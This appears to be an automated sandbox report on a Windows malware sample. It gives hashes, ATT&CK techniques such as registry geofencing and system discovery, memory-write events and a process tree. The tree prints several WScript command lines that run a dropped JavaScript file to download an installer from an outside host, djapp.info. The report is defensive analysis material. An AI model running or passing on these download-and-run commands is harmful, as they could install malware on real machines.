90ec0e0af3d05a61be1be1d3064051b21fbdd1de2c28aaa3004e2ad3699f3143

General

Target

33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe
Size

184KB
MD5

33f90eee7c0467052a653983db882d9f
SHA1

f5526915b0c6cb659358e740c1fd3911c435d6eb
SHA256

90ec0e0af3d05a61be1be1d3064051b21fbdd1de2c28aaa3004e2ad3699f3143
SHA512

3c44ac0026d2c5587a9ec0158f11d808337c15d9d2094625e5c5fdd6c8fcaf7280c823fcb8b89998da62577c15a86e6803951010ed6f3cb4021ebd9504384cf2
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3EC:/7BSH8zUB+nGESaaRvoB7FJNndnu

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow pid process

15 2312 WScript.exe
25 2576 WScript.exe
27 4364 WScript.exe
42 2656 WScript.exe
44 2632 WScript.exe
45 2632 WScript.exe

flow	pid	process
15	2312	WScript.exe
25	2576	WScript.exe
27	4364	WScript.exe
42	2656	WScript.exe
44	2632	WScript.exe
45	2632	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2860 2872 WerFault.exe 33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe

pid	pid_target	process	target process
2860	2872	WerFault.exe	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe

Modifies registry class 1 IoCs

Processes:

33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe

description	pid	process	target process
PID 2872 wrote to memory of 2312	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 2312	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 2312	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 2576	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 2576	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 2576	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 4364	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 4364	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 4364	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 2656	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 2656	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 2656	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 2632	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 2632	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe
PID 2872 wrote to memory of 2632	2872	33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\33f90eee7c0467052a653983db882d9f_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2872

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4DA3.js" http://www.djapp.info/?domain=wsOHhTddDA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf4DA3.exe
2⤵
- Blocklisted process makes network request
PID:2312

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4DA3.js" http://www.djapp.info/?domain=wsOHhTddDA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf4DA3.exe
2⤵
- Blocklisted process makes network request
PID:2576

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4DA3.js" http://www.djapp.info/?domain=wsOHhTddDA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf4DA3.exe
2⤵
- Blocklisted process makes network request
PID:4364

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4DA3.js" http://www.djapp.info/?domain=wsOHhTddDA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf4DA3.exe
2⤵
- Blocklisted process makes network request
PID:2656

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4DA3.js" http://www.djapp.info/?domain=wsOHhTddDA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf4DA3.exe
2⤵
- Blocklisted process makes network request
PID:2632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2872 -s 1448
2⤵
- Program crash
PID:2860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2872 -ip 2872
1⤵
PID:4748

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf4DA3.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads